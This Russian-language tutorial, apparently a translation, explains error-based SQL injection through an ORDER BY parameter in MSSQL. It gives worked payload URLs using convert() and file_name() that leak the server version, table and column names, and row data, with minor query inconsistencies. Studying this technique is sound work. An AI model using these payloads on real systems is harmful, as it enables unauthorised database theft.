В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера
Автор: Manish Kishan Tanwar
Введение
Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.
В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.
Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.
Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».
С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.
Схема эксплуатации
Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.
Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».
Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.
Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.
Перечень функций, при помощи которых доступна реализация похожих сценариев:
convert ()
file_name ()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
Пример
Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name
Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:
Select table_name,column_name from information_schema.columns order by column_name
Примеры инъекций с функцией convert()
Получение версии SQL-сервера
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by convert(int,@@version)
Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert
Получение имени таблицы в текущей базе данных
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))
Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert
Получение имени колонки таблицы
Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert
Извлечение данных из колонки таблицы
Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))
Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert
Примеры инъекций с функцией file_name()
Получение версии SQL-сервера
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by file_name(@@version)
Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name
Получение имени таблицы в текущей базе данных
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(select top(1) table_name from information_schema.columns)
Запрос, выполняемый на стороне сервера:
select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)
Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name
Получение имени колонки таблицы
Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))
Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name
Извлечение данных из колонки таблицы
Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».
Инжектируемый URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))
Запрос, выполняемый на стороне сервера:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))
Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name
Благодарности
Выражаю особую благодарность IndiShell Crew и Myhackerhouse.
В Матрице безопасности выбор очевиден